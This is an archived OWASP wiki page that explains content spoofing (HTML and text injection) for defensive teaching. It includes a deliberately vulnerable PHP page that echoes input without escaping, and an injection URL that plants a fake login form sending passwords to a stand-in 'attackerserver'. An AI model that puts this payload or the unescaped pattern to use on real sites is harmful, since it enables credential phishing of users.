This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org
Content Spoofing
- This is an Attack. To view all attacks, please see the Attack Category page.
Last revision (mm/dd/yy): 01/3/2013
Description
Content spoofing, also referred to as content injection or virtual defacement, is an attack targeting a user made possible by an injection vulnerability in a web application. When an application does not properly handle user supplied data, an attacker can supply content to a web application, typically via a parameter value, that is reflected back to the user. This presents the user with a modified page under the context of the trusted domain.
This attack is typically used as, or in conjunction with, social engineering because the attack is exploiting a code-based vulnerability and a user's trust.
Content Spoofing vs. Cross-site Scripting
Content spoofing is an attack that is closely related to Cross-site Scripting (XSS). The difference is not in the vulnerability, but in the type of attack that leverages the vulnerability. While XSS uses script HTML tags to run JavaScript, content spoofing uses other techniques to modify the page for malicious reasons.
Risk Factors
TBD
Examples
Hypertext Markup Language (HTML) Injection
A possible attack scenario is demonstrated below:
- Attacker discovers injection vulnerability and decides to spoof a login form
- Attacker crafts malicious link, including his injected HTML content, and sends it to a user via email
- The user visits the page due to the page being located within a trusted domain
- The attacker's injected HTML is rendered and presented to the user asking for a username and password
- The user enters a username and password, which are both sent to the attackers server
- A simple PHP page containing an injection vulnerability via the name parameter:
<?php
$name = $_REQUEST ['name'];
?>
<html>
<h1>Welcome to the Internet!</h1>
<br>
<body>
Hello, <?php echo $name; ?>!
<p>We are so glad you are here!</p>
</body>
</html>
The page functionality can be tested by making the following GET request to the page:
http://127.0.0.1/vulnerable.php?name=test
By requesting the link below, the page renders the injected HTML, presents a login form, and comments out the rest of the page after the injection point. Once a user enters their username and password, the values are sent to a page named login.php on the attacker's server via POST.
http://127.0.0.1/vulnerable.php?name=<h3>Please Enter Your Username and Password to Proceed:</h3><form method="POST" action="http://attackerserver/login.php">Username: <input type="text" name="username" /><br />Password: <input type="password" name="password" /><br /><input type="submit" value="Login" /></form><!--
Text Spoofing
Another example of a content spoofing attack would be to present false information to a user via text manipulation. An attack scenario is demonstrated below:
- An attacker identifies a web application that gives recommendations to its users on whether they should buy or sell a particular stock
- The attacker identifies a parameter vulnerable to text manipulation
- The attacker crafts a malicious link by slightly modifying a valid page
- The link containing the misinformation is sent to a user
- The user clicks the link and the request is sent to the server
- A valid webpage is created using the attackers malicious recommendation and the user believes the recommendation was from the stock website
Valid Page
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Reccomend+You+Buy+Now
Modified Page
http://vulnerablesite/suggestions.php?stockid=123&stockrecommendation=We+Really+Reccomend+You+Sell+This+Stock+Now
Related Threat Agents
Related Attacks
Related Vulnerabilities
Related Controls
References
- http://capec.mitre.org/data/definitions/148.html
- http://projects.webappsec.org/w/page/13246917/Content%20Spoofing
- http://itlaw.wikia.com/wiki/Content_injection_attack
- CERT Advisory on Malicious HTML Tags: http://www.cert.org/advisories/CA-2000-02.html
- OWASP's XSS (Cross Site Scripting) Prevention Cheat Sheet
- OWASP Guide to Building Secure Web Applications and Web Services, Chapter 8: Data Validation
- HTML Code Injection and Cross-site Scripting: http://www.technicalinfo.net/papers/CSS.html
